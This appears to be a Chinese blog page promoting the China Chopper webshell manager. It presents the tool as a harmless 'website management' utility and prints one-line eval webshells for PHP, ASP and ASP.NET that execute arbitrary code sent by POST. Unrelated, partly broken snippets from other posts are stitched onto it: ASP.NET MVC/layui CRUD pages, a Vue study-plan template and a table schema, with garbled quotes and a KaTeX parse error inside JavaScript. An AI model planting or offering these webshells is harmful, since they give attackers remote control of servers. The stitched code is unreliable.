最新中国菜刀caidao-20160620下载和说明

0x00 中国制造, 黑客之刀

中国菜刀是中国安全圈内使用非常广泛的一款Webshell管理工具,此次老兵大牛进行了更新,界面更加优美,功能更加丰富,有图有真相!

最新菜刀首页

0x01 验证

此次更新还自带了官网验证功能,妈妈再也不会担心我的webshell了。

菜刀验证

0x02 软件说明

菜刀 / Caidao @ http://www.maicaidao.com/

1
菜刀,他是一款专业的网站管理工具

一、网站管理模块

(1)放在网站上的脚本程序分两种

1.1)“一句话(Eval)”:

PHP, ASP, ASP.NET 的网站都可以,支持https。下面的代码放在网站目录即可开始管理,比FTP好用多了是不是:

1
2
3
PHP:    <?php @ eval ( $_POST [ 'caidao' ]);?>
ASP:    <% eval request( "caidao" )%>
ASP.NET:    <%@ Page Language= "Jscript" %><% eval (Request.Item[ "caidao" ], "unsafe" );%>

1.2)自己开发的脚本程序(Customize):

理论上支持所有动态脚本,只要正确与菜刀进行交互即可。调用方法请参阅后面的 “Customize模式菜刀和服务端通信接口”。

(2)常用功能介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
2.1)文件管理:[特色]缓存下载目录,并支持离线查看缓存目录;
 
2.2)虚拟终端:[特色]人性化的设计,操作方便;(输入HELP查看更多用法), 超长命令会分割为5k字节一份,分别提交。
 
2.3)数据库管理:[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,POSTGRESQL,ACCESS, 以及支持ADO方式连接的数据库。
 
2.4) 自写脚本(只有Eval端才支持):
 
         通过简单编码后提交用户自己的脚本到服务端执行,实现丰富的功能,也可选择发送到浏览器执行。
 
         如果要写自己的CCC脚本,可以参考一下CCC目录下的示例代码, 相信你也可以写出功能丰富的脚本。
 
         可以在官网下载别人的CCC脚本,或分享你的得意之作。

(3)配置框填写说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
@{ Layout = null; } <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <title>Index</title> <link href="~/Scripts/layui/css/layui.css" rel="stylesheet" /> <script src="~/Scripts/layui/layui.js"></script> <script src="~/Scripts/jquery-3.4.1.js"></script> <style> body { padding: 10px 20px 20px 20px; width: 90% } .editInfo { display: none; } .addeditInfo { display: none; } .editnewInfo { display: none; } </style> </head> <body> <fieldset class="layui-elem-field"> <legend> <span class="layui-breadcrumb"> <a href="/Home/Index">首页</a> <a href="/JobManagem/Index">菜单管理</a> </span> </legend> <div class="layui-field-box"> <div class="layui-form-item"> <div class="layui-inline"> <label class="layui-form-label" style="width:90px;">菜单名称</label> <div class="layui-input-block" style="margin-left:120px"> <input type="text" name="eumname" id="name" autocomplete="off" class="layui-input"> </div> </div> <button type="button" class="layui-btn layui-btn but" style=" margin-bottom: 4px;" id="searchButton" onclick="Search()"><i class="layui-icon layui-icon-search"></i>查询</button> <button type="button" class="layui-btn layui-bg-blue but" style=" margin-bottom: 4px;" onclick="Add()"><i class="layui-icon layui-icon-addition"></i>添加</button> </div> </div> </fieldset> <table class="layui-hide" id="ID-treeTable-demo" lay-filter="test"></table> <script type="text/html" id="TPL-treeTable-demo-tools"> <div class="layui-btn-container"> <a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="add"><i class="layui-icon layui-icon-add-circle"></i>新增</a> <a class="layui-btn layui-bg-blue layui-btn-xs" lay-event="edit"><i class="layui-icon layui-icon-edit"></i>编辑</a> <a class="layui-btn layui-bg-red layui-btn-xs" lay-event="del"><i class="layui-icon layui-icon-delete"></i>删除</a> </div> </script> <div class="editInfo"> <form class="layui-form layui-form-pane addorgfrom" action="" lay-filter="demo-val-filter"> <input type="hidden" name="ID" /> <div class="layui-form-item"> <label class="layui-form-label" style="width:130px">模块名称</label> <div class="layui-input-block"> <input type="text" name="menuname" autocomplete="off" placeholder="请输入组织模块名称" lay-verify="required" class="layui-input" style="width:87%"> </div> </div> <div class="layui-form-item"> <label class="layui-form-label" style="width:130px">模块代码</label> <div class="layui-input-block"> <input type="text" name="menucode" autocomplete="off" placeholder="请输入组织模块代码" lay-verify="required" class="layui-input" style="width:87%"> </div> </div> <div class="layui-form-item" style="text-align:center" id="but"> <div class="layui-input-block" style="margin-left:-53px;padding:10px"> <button type="submit" class="layui-btn" lay-submit lay-filter="demo1" style="margin:10px">保存</button> <button type="reset" class="layui-btn layui-btn-primary" style="margin-left:30px;">重置</button> </div> </div> </form> </div> @*表格内的新增,编辑*@ <div class="addeditInfo"> <form class="layui-form layui-form-pane addform" action="" lay-filter="demo-val-filter"> <input type="hidden" name="ID" /> <input type="hidden" name="ParentId" /> <div class="layui-form-item"> <label class="layui-form-label" style="width:130px">上一级菜单名称</label> <div class="layui-input-block"> <input type="text" name="modulename" autocomplete="off" disabled="disabled" placeholder="请输入模块名称" lay-verify="required" class="layui-input" style="width:87%"> </div> </div> <div class="layui-form-item"> <label class="layui-form-label" style="width:130px">上一级菜单代码</label> <div class="layui-input-block"> <input type="text" name="modulecode" autocomplete="off" disabled="disabled" placeholder="请输入模块代码" lay-verify="required" class="layui-input" style="width:87%"> </div> </div> <div class="layui-form-item"> <label class="layui-form-label" style="width:120px">当前级别</label> <div class="layui-input-block" style="margin-left: 121px;width:289px"> <select name="Type" lay-verify="required" disabled="disabled"> <option value="">请选择级别</option> <option value="0">菜单</option> <option value="1">其他</option> </select> </div> </div> <div class="layui-form-item"> <label class="layui-form-label" style="width:120px">模块名称</label> <div class="layui-input-block"> <input type="text" name="newname" autocomplete="off" placeholder="请输入模块名称" lay-verify="required" class="layui-input" style="width:90%"> </div> </div> <div class="layui-form-item"> <label class="layui-form-label" style="width:120px">模块代码</label> <div class="layui-input-block"> <input type="text" name="newcode" autocomplete="off" placeholder="请输入模块代码" lay-verify="required" class="layui-input" style="width:90%"> </div> </div> <div class="layui-form-item" style="text-align:center" id="but"> <div class="layui-input-block" style="margin-left:-53px;padding:10px"> <button type="submit" class="layui-btn" lay-submit lay-filter="demo2" style="margin:10px">保存</button> <button type="reset" class="layui-btn layui-btn-primary" style="margin-left:30px;">重置</button> </div> </div> </form> </div> <script> var SearchtreeTable; layui.use(['form', 'table'], function () { var table = layui.table; var treeTable = layui.treeTable; var layer = layui.layer; var form = layui.form; // 渲染 var inst = treeTable.render({ elem: '#ID-treeTable-demo', url: '/ResourceManage/GetList', // 此处为静态模拟数据,实际使用时需换成真实接口 cols: [[ { type: 'checkbox', }, { field: 'ID', title: 'ID', hide: true }, // 隐藏但保留数据 { field: 'ParentId', title: '父ID', hide: true }, // 隐藏但保留数据 { field: 'name', title: '模块名称', width: '20%', }, { field: 'ModuleCode', title: '模块代码', width: '20%', sort: true }, { field: 'Type', title: '级别', width: '20%', sort: true, templet: function (d) { switch (d.Type) { case 0: return "菜单"; break; case 1: return "其他"; break; default: return "其他"; break; } } }, { field: 'Url', title: '链接', width: '15%', sort: true }, { title: "操作", width: '21.5%', align: "center", toolbar: "#TPL-treeTable-demo-tools" } ]], tree: { iconIndex: 1, // 图标显示在第 2 列(对应“组织机构名称”列,索引从 0 开始) isParent: 'isParent', // 绑定后台的 `isParent` 字段(标识是否有子节点) // 删除 async 配置!后台已返回完整 children 数组,无需异步加载 }, page: true }); SearchtreeTable = inst; //新增,编辑,删除 table.on('tool(test)', function (obj) { // 双击 toolDouble var data = obj.data; // 获得当前行数据 // console.log(obj) if (obj.event === 'add') { //新增子集 layer.open({ type: 1, // page 层类型 area: ['550px', '480px'], title: '新增资源模块', shade: 0.6, // 遮罩透明度 shadeClose: false, // 点击遮罩区域,关闭弹层 maxmin: false, // 允许全屏最小化 anim: 0, // 0-6 的动画形式,-1 不开启 content: $(".addeditInfo").html() }); //赋值 form.val('demo-val-filter', { "modulename": data.name, "modulecode": data.ModuleCode, "Type": data.Type, "ID": null, "ParentId": data.ID }); } else if (obj.event === 'edit') { //编辑 //修改编辑职位 layer.open({ type: 1, area: ['550px', '480px'], title: '编辑资源模块', shade: 0.6, // 遮罩透明度 shadeClose: false, // 点击遮罩区域,关闭弹层 maxmin: false, // 允许全屏最小化 anim: 0, // 0-6 的动画形式,-1 不开启 content: $('.addeditInfo').html(), success: function () { $.ajax({ url: '/ResourceManage/GetEditData', data: { nodeId: data.ID }, success: function (res) { // 填充数据,处理父节点不存在的情况 form.val('demo-val-filter', { "modulename": res.parentName || data.name, // 父节点不存在时显示自身名称 "modulecode": res.parentCode || data.ModuleCode, // 父节点不存在时显示自身代码 "Type": data.Type, "newname": data.name, "newcode": data.ModuleCode, "ID": res.ID, "ParentId": res.parentID }); } }); } }); } else { layer.confirm('真的删除行 [' + data.name + '] 么', function (index) { obj.del(); // 删除对应行(tr)的DOM结构 layer.close(index); // 向服务端发送删除指令 $.ajax({ url: '/ResourceManage/DelInfo', type: 'post', data: { id: data.ID }, success: function (res) { if (res.code == 0) { layer.msg(res.msg, { icon: 6, time: 1500 }, function () { Search(); }) } else { layer.msg(res.msg, { icon: 5, time: 1500 }) } } }) }); } }); // 提交事件 form.on('submit(demo1)', function (data) { var field = data.field; // 获取表单字段值 // 此处可执行 Ajax 等操作 $.ajax({ url: '/ResourceManage/Add', type: 'post', data: field, success: function (res) { if (res.code == 0) { layer.msg(res.msg, { icon: 6, time: 3000 }, function () { layer.closeAll(); // 关闭所有类型的层 Search(); }); } else { layer.msg(res.msg, { icon: 5, time: 2000 }); } } }) return false; // 阻止默认 form 跳转 }); // 提交事件 form.on('submit(demo2)', function (data) { var field = data.field; // 获取表单字段值 var leve = data.leve; var ID = data.ID; var ParentId = data.ParentId; // 此处可执行 Ajax 等操作 $.ajax({ url: '/ResourceManage/AddTreeInfo', type: 'post', data: { newname: field.newname, newcode: field.newcode, Type: field.Type, ID: field.ID, pid: field.ParentId }, success: function (res) { if (res.code == 0) { layer.msg(res.msg, { icon: 6, time: 3000 }, function () { layer.closeAll(); // 关闭所有类型的层 Search(); }); } else { layer.msg(res.msg, { icon: 5, time: 2000 }); } } }) return false; // 阻止默认 form 跳转 }); }); //重载,模糊查询 //重载,模糊查询 function Search() { var nameVal = $('input[name="eumname"]').val().trim(); // 完整重载 - 所有属性属性(options)均可参与到重载中 SearchtreeTable.reload({ where: { // 传递数据异步请求时携带的字段 eumname: nameVal, }, }); } //添加 function Add() { // 在此处输入 layer 的任意代码 layer.open({ type: 1, // page 层类型 area: ['550px', '350px'], title: '新增资源模块', shade: 0.6, // 遮罩透明度 shadeClose: true, // 点击遮罩区域,关闭弹层 maxmin: true, // 允许全屏最小化 anim: 0, // 0-6 的动画形式,-1 不开启 content: $(".editInfo").html() }); } </script> </body> </html> using System; using System.Collections.Generic; using System.Data.Entity; using System.Linq; using System.Web; using System.Web.Mvc; using WebApplication1.Models; namespace WebApplication1.Controllers { [LoginActionFitter] public class ResourceManageController : Controller { AoutEntities1 db = new AoutEntities1(); ReturnJsonData jsonData = new ReturnJsonData(); ReturnListJsonData orgTreeList = new ReturnListJsonData(); // GET: public ActionResult Index() { return View(); } #region 查询 /// <summary> /// 模糊查询 /// </summary> /// <param name="page"></param> /// <param name="limit"></param> /// <param name="orgname"></param> /// <returns></returns> public ActionResult GetList(int page, int limit, string eumname) { //返回树形表格 List<object> retultlist = new List<object>(); //第一步 查所有的一级菜单 var list = db.SystemResourceModule.Where(a => a.ParentId == Guid.Empty).ToList(); if (!string.IsNullOrEmpty(eumname)) { list = db.SystemResourceModule.Where(a => a.ModuleName.Contains(eumname)).ToList(); foreach (var itme in list) { ReturnMenuListData obj = new ReturnMenuListData(); obj.ID = itme.ID; obj.ParentId = itme.ParentId; obj.name = itme.ModuleName; obj.ModuleCode = itme.ModuleCode; obj.Url = itme.Url; obj.Type = itme.Type; obj.CreateDate = itme.CreateDate; obj.ModifyDate = itme.ModifyDate; //验证是否还有有子集 obj.isParent = false; obj.children = null; retultlist.Add(obj); } } else { list = db.SystemResourceModule.Where(a => a.ParentId == Guid.Empty).ToList(); //循环 foreach (var itme in list) { ReturnMenuListData obj = new ReturnMenuListData(); obj.ID = itme.ID; obj.ParentId = itme.ParentId; obj.name = itme.ModuleName; obj.ModuleCode = itme.ModuleCode; obj.Url = itme.Url; obj.Type = itme.Type; obj.CreateDate = itme.CreateDate; obj.ModifyDate = itme.ModifyDate; //验证是否还有有子集 obj.isParent = db.SystemResourceModule.Where(a => a.ParentId == itme.ID).ToList().Count > 0 ? true : false; if (obj.isParent == true) { //查所以子集 obj.children = BuildTree(list, itme.ID); } retultlist.Add(obj); } } orgTreeList.code = 0; orgTreeList.count = list.Count; orgTreeList.data = retultlist; return Json(orgTreeList, JsonRequestBehavior.AllowGet); } #endregion #region 递归调用 /// <summary> /// 递归调用 /// </summary> /// <param name="list"></param> /// <param name="ID"></param> /// <returns></returns> private List<object> BuildTree(List<SystemResourceModule> list, Guid ID) { List<object> Treelist = new List<object>(); List<SystemResourceModule> childList = db.SystemResourceModule.Where(a => a.ParentId == ID).ToList(); //循环 foreach (var itme in childList) { ReturnMenuListData obj = new ReturnMenuListData(); obj.ID = itme.ID; obj.ParentId = itme.ParentId; obj.name = itme.ModuleName; obj.ModuleCode = itme.ModuleCode; obj.Url = itme.Url; obj.CreateDate = itme.CreateDate; obj.ModifyDate = itme.ModifyDate; obj.isParent = db.SystemResourceModule.Where(a => a.ParentId == itme.ID).ToList().Count > 0 ? true : false; obj.children = BuildTree(childList, itme.ID); Treelist.Add(obj); } return Treelist; } #endregion #region 查询父级及子集信息 public ActionResult GetEditData(Guid nodeId) { var current = db.SystemResourceModule.Find(nodeId); if (current == null) return Json(new { success = false }); // 总公司的ParentId为null或自身(假设总公司ParentId=0或null) var isRoot = current.ParentId == null || current.ParentId == Guid.Empty; var parent = isRoot ? current : db.SystemResourceModule.Find(current.ParentId); return Json(new { parentName = parent.ModuleName, parentCode = parent.ModuleCode, Type = current.Type, orgName = current.ModuleName, orgCode = current.ModuleCode, ID = current.ID, parentID = current.ParentId, }, JsonRequestBehavior.AllowGet); } #endregion #region 删除 /// <summary> /// 删除操作 /// </summary> /// <param name="id"></param> /// <returns></returns> public ActionResult DelInfo(Guid? id) { if (id == null) { jsonData.code = 1; jsonData.msg = "删除失败,未到当行数据"; } else { //删除 var entity = db.SystemResourceModule.Find(id); if (entity == null) { jsonData.code = 1; jsonData.msg = "删除失败,未到当前行数据"; } else { db.SystemResourceModule.Remove(entity); var result = db.SaveChanges(); if (result > 0) { jsonData.code = 0; jsonData.msg = "删除成功"; } else { jsonData.code = 1; jsonData.msg = "删除失败,请联系管理员"; } } } return Json(jsonData, JsonRequestBehavior.AllowGet); } #endregion #region 新增菜单 /// <summary> /// 新增,修改 /// </summary> /// <returns></returns> public ActionResult Add(SystemResourceModule org, string menuname, string menucode) { org.ModuleName = menuname; org.ModuleCode = menucode; org.ID = Guid.NewGuid(); org.Type = 0; org.ParentId = Guid.Empty; org.CreateDate = DateTime.Now; org.ModifyDate = DateTime.Now; db.SystemResourceModule.Add(org); var result = db.SaveChanges(); if (result > 0) { jsonData.code = 0; jsonData.msg = "新增资源模块成功"; } else { jsonData.code = 1; jsonData.msg = "新增失败,请联系管理员"; } return Json(jsonData, JsonRequestBehavior.AllowGet); } #endregion #region 新增修改 /// <summary> /// 新增,修改 /// </summary> /// <returns></returns> public ActionResult AddTreeInfo(string newname, string newcode, int? Type, Guid? ID, Guid pid) { if (ID == null || ID == Guid.Empty) { // 新增逻辑:parentId为父节点ID(新增时需传递) var newOrg = new SystemResourceModule { ID = Guid.NewGuid(), ParentId = pid, ModuleName = newname, ModuleCode = newcode, Type = Type + 1, CreateDate = DateTime.Now, ModifyDate = DateTime.Now }; db.SystemResourceModule.Add(newOrg); } else { // 编辑逻辑:通过ID当前行(确保是当前行,而非总公司,依赖ID唯一性) var entity = db.SystemResourceModule.Find(ID); if (entity != null) { entity.ModuleName = newname; entity.ModuleCode = newcode; entity.ModifyDate = DateTime.Now; db.Entry(entity).State = EntityState.Modified; } } var result = db.SaveChanges(); if (result > 0) { jsonData.code = 0; jsonData.msg = "保存成功"; } else { jsonData.code = 1; jsonData.msg = "保存失败,请联系管理员"; } return Json(jsonData, JsonRequestBehavior.AllowGet); } #endregion } }检查错误
07-16
<template>   <div class="card">   <div class="card-header">    学习计划表   </div>   <div class="card-body">     <div class="row">           </div>     <div class="col-auto">   <div class="input-group">     <span class="input-group-text">学习科目</span>     <input v-model.trim="subject" type="text" class="form-control" placeholder="请输入学习科目">     </div>   </div>     <div class="col-auto">       <div class="input-group">         <span class="input-group-text">学习内容</span>         <textarea v-model.trim="content" style="height:32px;" class="form-control" placeholder="请输入学习内容"></textarea>       </div>     </div>   </div>   <div class="col-auto">     <div class="input-group">       <span class="input-group-text">学习地点</span>       <select class="form-select" v-model="selectedOption">         <option v-for="option in options" :value="option.place" :key="option.placeCode">           {{ option.place }}         </option>       </select>     </div>   </div> </div> <form @submit.prevent="add" class="row">   <div class="col-auto">     <div class="input-group">       <span class="input-group-text">学习科目</span>       <input type="text" class="form-control" placeholder="请输入学习科目">    </div>    </div>    <div class="col-auto">      <div class="input-group">     <span class="input-group-text">学习内容</span>    <textarea style="height:32px" placeholder="请输入学习内容" class="form-control"></textarea>   </div>   </div>   <div class="col-auto">     <div class="input-group">   <span class="input-group-text">学习地点</span>   <select class="form-select">     <option value="1">自习室</option>     <option value="2">图书馆</option>     <option value="3">宿舍</option>   </select> </div>   </div>   <div class="col-auto">     <button class="btn btn-primary" type="submit">添加</button>   </div> </form> <table class="table table-hover">   <thead>     <tr>       <th scope="col">序号</th>       <th scope="col">学习科目</th>       <th scope="col">学习内容</th>       <th scope="col">学习地点</th>       <th scope="col">完成状态</th>       <th scope="col">操作</th>     </tr>   </thead>   <tbody>     <tr>     <td>1</td>     <td>Vue.js 前端实战开发</td>     <td>学习指令,例如 v-if, v-for, v-model 等</td>     <td>自习室</td>     <td>       <div class="form-check form-switch">         <input class="form-check-input" type="checkbox" role="switch" id="flexSwitchCheckDefault">         <label class="form-check-label" for="flexSwitchCheckDefault">未完成</label>       </div>     </td>     <td>       <a href=" " @click="remove(item.id, item.status)">删除</a >     </td>     </tr>   </tbody> </table> <div class="form-check form-switch">   <input v-model="item.status" :id="'sw'+item.id" class="form-check-input" type="checkbox" role="switch">   <label v-if="item.status" class="form-check-label" :for="'sw'+item.id">已完成</label>   <label v-else class="form-check-label" :for="'sw'+item.id">未完成</label> </div> </template> <script setup> import { ref,reactive } from 'vue'; const remove = (id,status) =>{   if(status){   list.value = list.value.filter(item => item.id !== id)   }else{     alert("请先完成该计划!")   } } const list = reactive([]); const subject = ref(""); const content = ref(""); const nextId = ref(""); const selectedOption = ref('自习室'); const option = reactive([   {placeCode:0, place:'自习室',},   {placeCode:1, place:'图书馆',},   {placeCode:2, place:'宿舍',}, ]); const add = () =>{   if(subject.value === ''){     alert('学习科目为必填项!')     return   }else if(content.value === ''){   alert("学习内容为必填!")   return } nextId.value = Math.max(...list.value.map(item => item.id)) + 1 const obj = {   id: nextId.value,   subject: subject.value,   content:content.value,   place:selectedOption.value,   status:false } list.value.push(obj) subject.value = '' content.value = '' selectedOption.value = '自习室' } </script>修改此代码
03-28
// 控制器完整代码 using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Mvc; using WebApplication1.Models; using Newtonsoft.Json; using WebApplication1.Scripts; namespace WebApplication1.Controllers { public class JobManagemController : Controller { AoutEntities db = new AoutEntities(); ReturnListJsonData jsonData = new ReturnListJsonData(); public ActionResult Index() { return View(); } #region 模糊查询 public ActionResult GetList(int page, int limit, string name, string code) { var list = db.Job.Where(a => a.IsDel == false).ToList(); if (!string.IsNullOrEmpty(name)) { list = list.Where(a => a.JobName.Contains(name)).ToList(); } if (!string.IsNullOrEmpty(code)) { list = list.Where(a => a.JobCode.Contains(code)).ToList(); } var offset = (page - 1) * limit; var data = list.OrderByDescending(a => a.ModifyDate).Skip(offset).Take(limit); jsonData.code = 0; jsonData.count = list.Count; jsonData.data = data; jsonData.msg = "success"; return Json(jsonData, JsonRequestBehavior.AllowGet); } #endregion #region 添加职位 [HttpPost] public ActionResult AddJob(Job job) { try { job.IsDel = false; job.ModifyDate = DateTime.Now; db.Job.Add(job); db.SaveChanges(); jsonData.code = 0; jsonData.msg = "添加成功"; } catch (Exception ex) { jsonData.code = 1; jsonData.msg = ex.Message; } return Json(jsonData); } #endregion #region 更新职位 [HttpPost] public ActionResult UpdateJob(Job job) { try { var model = db.Job.FirstOrDefault(a => a.ID == job.ID); if (model != null) { model.JobName = job.JobName; model.JobCode = job.JobCode; model.ModifyDate = DateTime.Now; db.SaveChanges(); jsonData.code = 0; jsonData.msg = "更新成功"; } else { jsonData.code = 1; jsonData.msg = "未到该职位"; } } catch (Exception ex) { jsonData.code = 1; jsonData.msg = ex.Message; } return Json(jsonData); } #endregion #region 删除职位 [HttpPost] public ActionResult DeleteJob(Guid ID) { try { var model = db.Job.FirstOrDefault(a => a.ID == ID); if (model != null) { model.IsDel = true; // 软删除 db.SaveChanges(); jsonData.code = 0; jsonData.msg = "删除成功"; } else { jsonData.code = 1; jsonData.msg = "未到该职位"; } } catch (Exception ex) { jsonData.code = 1; jsonData.msg = ex.Message; } return Json(jsonData); } #endregion } } <!-- 前端页面完整代码 --> @{ Layout = null; } <!DOCTYPE html> <html> <head> <link href="~/Scripts/layui/css/layui.css" rel="stylesheet" /> <script src="~/Scripts/layui/layui.js"></script> <script src="~/Scripts/jquery-3.4.1.js"></script> <style> body { padding: 10px 20px 20px 20px; width: 90% } .but { margin-top: -5px } </style> </head> <body> <fieldset class="layui-elem-field"> <legend> <span class="layui-breadcrumb"> <a href="">首页</a> <a href="">职位管理</a> </span> </legend> <div class="layui-field-box"> <div class="layui-form-item"> <div class="layui-inline"> <label class="layui-form-label">职位名称</label> <div class="layui-input-block"> <input type="text" name="name" id="name" autocomplete="off" class="layui-input"> </div> </div> <div class="layui-inline"> <label class="layui-form-label">职位代码</label> <div class="layui-input-inline"> <input type="text" name="code" id="code" autocomplete="off" class="layui-input"> </div> </div> <button type="button" class="layui-btn layui-btn-radius but" id="searchButton" onclick="Search()"><i class="layui-icon layui-icon-search"></i>查询</button> <button type="button" class="layui-btn layui-bg-blue but" onclick="AddJob()"><i class="layui-icon layui-icon-addition"></i>添加</button> </div> </div> </fieldset> <fieldset class="layui-elem-field"> <table class="layui-hide" id="test" lay-filter="test"></table> <script type="text/html" id="toolDemo"> <div class="layui-clear-space"> <a class="layui-btn layui-btn-xs" lay-event="edit" id="Edit"><i class="layui-icon layui-icon-edit"></i>编辑</a> <a class="layui-btn layui-btn-xs layui-bg-orange" lay-event="del" id="del"><i class="layui-icon layui-icon-clear"></i>删除</a> </div> </script> </fieldset> <script> var tableIns; layui.use(['table', 'layer', 'form'], function () { var table = layui.table; var layer = layui.layer; // 创建渲染实例 tableIns = table.render({ elem: '#test', url: '/JobManagem/GetList', page: true, cols: [[ { type: 'numbers', width: '15%', title: '序列号' }, { field: 'JobName', width: '20%', title: '职位名称' }, { field: 'JobCode', width: '20%', title: '职位代码' }, { field: 'ModifyDate', width: '20%', title: '修改时间', templet: function (d) { return formatDate(d.ModifyDate); } }, { title: '操作', width: '25%', templet: '#toolDemo' } ]], }); // 编辑删除事件 table.on('tool(test)', function (obj) { var data = obj.data; if (obj.event === 'edit') { EditJob(data); } else if (obj.event === 'del') { DeleteJob(data, obj); } }); }); function formatDate(dateStr) { if (!dateStr) return ''; // 提取时间戳(兼容 "/Date(123456789)/" 格式) var timestamp = parseInt(dateStr.replace(/\/Date$(\d+)$\//, '$ 1')); var date = new Date(timestamp); return date.getFullYear() + '-' + ('0' + (date.getMonth() + 1)).slice(-2) + '-' + // 月份从0开始,需+1 ('0' + date.getDate()).slice(-2); } // 添加职位弹窗 function AddJob() { layer.open({ type: 1, title: ‘添加职位’, content: <div style="padding:20px"> <div class="layui-form-item"> <label class="layui-form-label">职位名称</label> <div class="layui-input-block"> <input type="text" id="add_name" class="layui-input"> </div> </div> <div class="layui-form-item"> <label class="layui-form-label">职位代码</label> <div class="layui-input-block"> <input type="text" id="add_code" class="layui-input"> </div> </div> </div> , btn: [‘保存’, ‘取消’], yes: function (index) { ParseError: KaTeX parse error: Expected '}', got 'EOF' at end of input: … JobName: (‘#add_name’).val(), JobCode: $(‘#add_code’).val() }, function (res) { if (res.code == 0) { layer.close(index); Search(); // 刷新列表 } else { layer.msg(‘操作失败:’ + res.msg); } }); } }); } // 编辑职位弹窗 function EditJob(data) { layer.open({ type: 1, title: '编辑职位', content: ` <div style="padding:20px"> <div class="layui-form-item"> <label class="layui-form-label">职位名称</label> <div class="layui-input-block"> <input type="text" id="edit_name" value="${data.JobName}" class="layui-input"> </div> </div> <div class="layui-form-item"> <label class="layui-form-label">职位代码</label> <div class="layui-input-block"> <input type="text" id="edit_code" value="${data.JobCode}" class="layui-input"> </div> </div> </div> `, btn: ['更新', '取消'], yes: function (index) { $.post('/JobManagem/UpdateJob', { ID: data.ID, JobName: $('#edit_name').val(), JobCode: $('#edit_code').val() }, function (res) { if (res.code == 0) { layer.close(index); Search(); } else { layer.msg('更新失败:' + res.msg); } }); } }); } // 删除职位 function DeleteJob(data, obj) { layer.confirm('真的删除行 [' + data.JobName + '] 么', function (index) { $.post('/JobManagem/DeleteJob', { ID: data.ID }, function (res) { if (res.code == 0) { obj.del(); layer.close(index); } else { layer.msg('删除失败:' + res.msg); } }); }); } // 查询重载 function Search() { var nameVal = $('input[name="name"]').val().trim(); var codeVal = $('input[name="code"]').val().trim(); tableIns.reload({ where: { name: nameVal, code: codeVal }, page: { curr: 1 } // 重置分页 }); } </script> </body> </html> 表名:组织机构表(OrganizationStructure) 字段描述 字段名 数据类型 长度 是否主键 是否外键 是否必填 组织机构表主键 ID uniqueidentifier 16 1 FALSE TRUE 组织机构名称 OrgName varchar 200 0 FALSE TRUE 组织机构代码 OrgCode varchar 200 0 FALSE FALSE 级别 Leve int 4 0 FALSE FALSE 父节点 ParentId uniqueidentifier 16 0 FALSE FALSE 创建时间 CreateDate datetime 8 0 FALSE FALSE 修改时间 ModifyDate datetime 8 0 FALSE FALSE 根据我给的数据写出组织机构模块的前端后端
07-11
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值